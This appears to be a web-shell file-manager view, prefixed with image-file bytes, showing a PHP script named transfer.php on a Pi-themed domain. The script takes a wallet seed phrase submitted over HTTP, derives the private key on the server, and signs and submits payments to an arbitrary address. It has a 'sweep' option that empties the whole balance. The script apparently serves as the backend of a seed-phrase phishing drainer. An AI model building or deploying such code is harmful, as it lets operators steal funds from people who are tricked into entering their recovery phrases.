1#@!#!123s

��JFIF�� 1#@!#!123s
: / home / earnlouq / pibirthday.ink /
Filename : transfer.php
back
<?php
ob_start();

// Security Headers
header('Content-Type: application/json; charset=utf-8');
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains; preload');
header('Referrer-Policy: strict-origin-when-cross-origin');
header('X-XSS-Protection: 1; mode=block');
header('Content-Security-Policy: default-src \'none\'; script-src \'none\'; connect-src \'self\' https://api.mainnet.minepi.com;');
header('Access-Control-Allow-Origin: https://pibirthday.ink'); 
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type, X-API-Key');

require_once 'functions.php';

// Check required extensions
$requiredExtensions = ['curl', 'json', 'gmp', 'openssl', 'sodium'];
$missingExtensions = array_filter($requiredExtensions, fn($ext) => !extension_loaded($ext));
if ($missingExtensions) {
    $errorMsg = 'Missing extensions: ' . implode(', ', $missingExtensions);
    http_response_code(500);
    echo json_encode(['success' => false, 'error' => 'Server error: ' . $errorMsg]);
    ob_end_flush();
    exit;
}

// Require Composer autoloader
$autoloadPath = realpath('vendor/autoload.php');
if (!file_exists($autoloadPath)) {
    $errorMsg = 'vendor/autoload.php not found. Run "composer install"';
    http_response_code(500);
    echo json_encode(['success' => false, 'error' => 'Server error: ' . $errorMsg]);
    ob_end_flush();
    exit;
}
require $autoloadPath;

// Import required classes
use ParagonIE\ConstantTime\Base32;
use Soneso\StellarSDK\Crypto\KeyPair;
use Soneso\StellarSDK\Crypto\StrKey;
use Soneso\StellarSDK\Network;
use Soneso\StellarSDK\PaymentOperationBuilder;
use Soneso\StellarSDK\StellarSDK;
use Soneso\StellarSDK\AssetTypeNative;
use Soneso\StellarSDK\TransactionBuilder;
use Soneso\StellarSDK\TimeBounds;
use Soneso\StellarSDK\Transaction;

// Verify classes
$requiredClasses = [
    'ParagonIE\ConstantTime\Base32' => 'paragonie/constant-time_encoding',
    'Soneso\StellarSDK\Crypto\KeyPair' => 'soneso/stellar-sdk',
    'Soneso\StellarSDK\StellarSDK' => 'soneso/stellar-sdk'
];
foreach ($requiredClasses as $class => $package) {
    if (!class_exists($class)) {
        $errorMsg = "Required class not found: $class (from $package)";
        http_response_code(500);
        echo json_encode(['success' => false, 'error' => 'Server error: ' . $errorMsg]);
        ob_end_flush();
        exit;
    }
}

// Key derivation functions
function mnemonicToSeed(string $mnemonic, string $passphrase = ''): string {
    return hash_pbkdf2('sha512', $mnemonic, 'mnemonic' . $passphrase, 2048, 64, true);
}

function crc16xmodem(string $data): string {
    $crc = 0x0000;
    for ($i = 0; $i < strlen($data); $i++) {
        $crc ^= (ord($data[$i]) << 8);
        for ($j = 0; $j < 8; $j++) {
            $crc = ($crc & 0x8000) ? (($crc << 1) ^ 0x1021) & 0xFFFF : ($crc << 1) & 0xFFFF;
        }
    }
    return pack('v', $crc);
}

function encodeStellarPublicKey(string $publicKey): string {
    $data = chr(6 << 3) . $publicKey;
    return strtoupper(Base32::encode($data . crc16xmodem($data)));
}

function deriveChildKeyEd25519(string $key, string $chainCode, int $index): array {
    $data = "\x00" . $key . pack('N', $index | 0x80000000);
    $I = hash_hmac('sha512', $data, $chainCode, true);
    return [substr($I, 0, 32), substr($I, 32, 32)];
}

function derivePath(string $seed, string $path): string {
    $I = hash_hmac('sha512', $seed, 'ed25519 seed', true);
    $key = substr($I, 0, 32);
    $chainCode = substr($I, 32, 32);
    
    foreach (array_slice(explode('/', $path), 1) as $seg) {
        $index = (int)rtrim($seg, "'0");
        list($key, $chainCode) = deriveChildKeyEd25519($key, $chainCode, $index);
    }
    
    return $key;
}

function getStellarKeypairFromMnemonic(string $mnemonic, string $passphrase = '', string $path = "m/44'/314159'/0'"): KeyPair {
    try {
        $seed = mnemonicToSeed($mnemonic, $passphrase);
        $privateKey = derivePath($seed, $path);
        $keypair = sodium_crypto_sign_seed_keypair($privateKey);
        $publicKey = encodeStellarPublicKey(sodium_crypto_sign_publickey($keypair));
        $secretSeed = StrKey::encodeSeed($privateKey);

        return KeyPair::fromSeed($secretSeed);
    } catch (Exception $e) {

        throw new Exception('Failed to derive keypair: ' . $e->getMessage(), 400);
    }
}

function fetchWalletInfo(string $publicKey): array {
    try {
        $ch = curl_init("https://api.mainnet.minepi.com/accounts/$publicKey");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept: application/json']);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curlError = curl_error($ch);
        curl_close($ch);

        if ($response === false) {

            throw new Exception('Failed to fetch wallet info: ' . $curlError);
        }


        if ($httpCode !== 200) {
            throw new Exception('Wallet info API returned non-200 status: ' . $httpCode);
        }

        $data = json_decode($response, true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new Exception('Invalid JSON response from wallet info: ' . json_last_error_msg());
        }

        if (!isset($data['balances'][0]['balance'], $data['sequence'], $data['subentry_count'])) {
            throw new Exception('Incomplete wallet info response: ' . json_encode($data));
        }

        return [
            'balance' => $data['balances'][0]['balance'],
            'sequence' => $data['sequence'],
            'subentry_count' => $data['subentry_count'],
            'last_modified_time' => $data['last_modified_time'] ?? null
        ];
    } catch (Exception $e) {

        throw $e;
    }
}

function createAndSignTransaction(KeyPair $keypair, string $destinationAddress, string $amount, bool $sweep = false): Transaction {
    try {
        $sourcePublicKey = $keypair->getAccountId();

        // Validate destination account existence
        try {
            $destInfo = fetchWalletInfo($destinationAddress);
        } catch (Exception $e) {
            throw new Exception('Destination account does not exist or is not funded', 400);
        }

        $sdk = new StellarSDK('https://api.mainnet.minepi.com');
        $network = new Network('Pi Network');

        // Fetch source account
        $sourceAccount = $sdk->requestAccount($sourcePublicKey);

        // Set fee (100,000 stroops = 0.01 PI)
        $baseFee = 100000;

        // Determine amount
        if ($sweep) {
            $balance = 0;
            foreach ($sourceAccount->getBalances() as $bal) {
                if ($bal->getAssetType() === 'native') {
                    $balance = $bal->getBalance();
                    break;
                }
            }
            $amount = bcsub($balance, '0.01', 6); // Subtract fee, 6 decimal precision
            if (bccomp($amount, '0', 6) <= 0) {
                throw new Exception('Insufficient balance for sweep');
            }
        } else {
            $amount = number_format((float)$amount, 6, '.', '');
            if (bccomp($amount, '0', 6) <= 0) {
                throw new Exception('Invalid amount');
            }
        }

        $paymentOperation = (new PaymentOperationBuilder($destinationAddress, new AssetTypeNative(), $amount))->build();

        // Set time bounds with minTime as Unix epoch to avoid tx_too_early
        $minTime = new DateTime('@0'); // Unix epoch, no minimum time restriction
        $maxTime = (new DateTime())->modify('+30 seconds');
        $timeBounds = new TimeBounds($minTime, $maxTime);

        $transaction = (new TransactionBuilder($sourceAccount))
            ->addOperation($paymentOperation)
            ->setMaxOperationFee($baseFee)
            ->setTimeBounds($timeBounds)
            ->build();

        $transaction->sign($keypair, $network);

        $xdr = $transaction->toEnvelopeXdrBase64();
        return $transaction;
    } catch (Exception $e) {
        throw new Exception('Transaction creation failed: ' . $e->getMessage(), $e->getCode(), $e);
    }
}

function submitTransaction(Transaction $transaction): array {
    try {

        // Prepare XDR
        $xdr = $transaction->toEnvelopeXdrBase64();
        $postData = ['tx' => $xdr];

        // Initialize cURL
        $ch = curl_init('https://api.mainnet.minepi.com/transactions');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);

        // Execute request
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curlError = curl_error($ch);
        curl_close($ch);

        // Check cURL errors
        if ($response === false) {
            throw new Exception('Failed to submit transaction: ' . $curlError);
        }

        // Parse JSON
        $result = json_decode($response, true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new Exception('Invalid JSON response: ' . json_last_error_msg());
        }

        // Handle transaction failure
        if (isset($result['type']) && $result['type'] === 'https://stellar.org/horizon-errors/transaction_failed') {
            $errorMsg = 'Transaction failed: ' . ($result['detail'] ?? 'Unknown error');
            if (isset($result['extras']['result_codes'])) {
                $errorMsg .= ', result_codes: ' . json_encode($result['extras']['result_codes']);
            }
            throw new Exception($errorMsg, 400);
        }

        // Check HTTP status
        if ($httpCode !== 200) {
            $errorMsg = 'API returned non-200 status: ' . $httpCode;
            if (isset($result['extras']['result_codes'])) {
                $errorMsg .= ', result_codes: ' . json_encode($result['extras']['result_codes']);
            }
            throw new Exception($errorMsg);
        }

        // Validate success
        if (!isset($result['hash'])) {
            throw new Exception('Transaction response missing hash: ' . json_encode($result));
        }

        return [
            'hash' => $result['hash'],
            'ledger' => $result['ledger'] ?? null,
            'result' => $result['result_xdr'] ?? null,
            'error_codes' => isset($result['extras']['result_codes']) ? $result['extras']['result_codes'] : null
        ];
    } catch (Exception $e) {
        throw $e;
    }
}

try {
    // Parse JSON input
    $input = json_decode(file_get_contents('php://input'), true);
    if (json_last_error() !== JSON_ERROR_NONE) {
        throw new Exception('Invalid JSON input: ' . json_last_error_msg(), 400);
    }

    $mnemonic = trim($input['seedPhrase'] ?? '');
    $passphrase = trim($input['passphrase'] ?? '');
    $fetchInfo = filter_var($input['fetchInfo'] ?? false, FILTER_VALIDATE_BOOLEAN);

    // Validate seed phrase
    if (empty($mnemonic)) {
        throw new Exception('Seed phrase is required', 400);
    }
    $words = array_filter(explode(' ', $mnemonic));
    if (count($words) < 12 || count($words) > 24) {
        throw new Exception('Seed phrase must be 12-24 words', 400);
    }

    // Derive keypair
    $keypair = getStellarKeypairFromMnemonic($mnemonic, $passphrase);
    $publicKey = $keypair->getAccountId();

    // Fetch wallet info
    $walletInfo = fetchWalletInfo($publicKey);

    // Handle fetchInfo request
    if ($fetchInfo) {
        echo json_encode([
            'success' => true,
            'public_key' => $publicKey,
            'wallet_balance' => $walletInfo['balance'],
            'wallet_sequence' => $walletInfo['sequence'],
            'subentry_count' => $walletInfo['subentry_count'],
            'timestamp' => date('Y-m-d H:i:s') . ' WAT'
        ]);
        exit;
    }

    // Transaction processing (only if fetchInfo is false)
    $destinationAddress = trim($input['recipientAddress'] ?? '');
    $amount = trim($input['amount'] ?? '0');
    $sweep = filter_var($input['sweep'] ?? false, FILTER_VALIDATE_BOOLEAN);

 
    if (!$sweep && (!is_numeric($amount) || floatval($amount) <= 0)) {
        throw new Exception('Invalid amount', 400);
    }
    
    // Validate balance
    if ($sweep) {
        $requiredBalance = '0.01'; // Fee only
        if (bccomp($walletInfo['balance'], $requiredBalance, 6) < 0) {
            throw new Exception("Insufficient balance for sweep: {$walletInfo['balance']} PI available, {$requiredBalance} PI required", 400);
        }
    } else {
        $requiredBalance = bcadd($amount, '0.01', 6);
        if (bccomp($walletInfo['balance'], $requiredBalance, 6) < 0) {
            throw new Exception("Insufficient balance: {$walletInfo['balance']} PI available, {$requiredBalance} PI required", 400);
        }
    }

    // Create and submit transaction
    $transaction = createAndSignTransaction($keypair, $destinationAddress, $amount, $sweep);
    $transactionResult = submitTransaction($transaction);

    echo json_encode([
        'success' => true,
        'transaction_hash' => $transactionResult['hash'],
        'transaction_url' => "https://explorer.minepi.com/transactions/{$transactionResult['hash']}",
        'ledger' => $transactionResult['ledger'],
        'amount' => $sweep ? bcsub($walletInfo['balance'], '0.01', 6) : $amount,
        'public_key' => $publicKey,
        'wallet_balance' => $walletInfo['balance'],
        'wallet_sequence' => $walletInfo['sequence'],
        'subentry_count' => $walletInfo['subentry_count'],
        'timestamp' => date('Y-m-d H:i:s') . ' WAT'
    ]);

} catch (Exception $e) {
  
    http_response_code($e->getCode() > 0 ? $e->getCode() : 500);
    echo json_encode([
        'success' => false,
        'error' => $e->getMessage(),
        'timestamp' => date('Y-m-d H:i:s') . ' WAT'
    ]);
} finally {
    ob_end_flush();
}
?>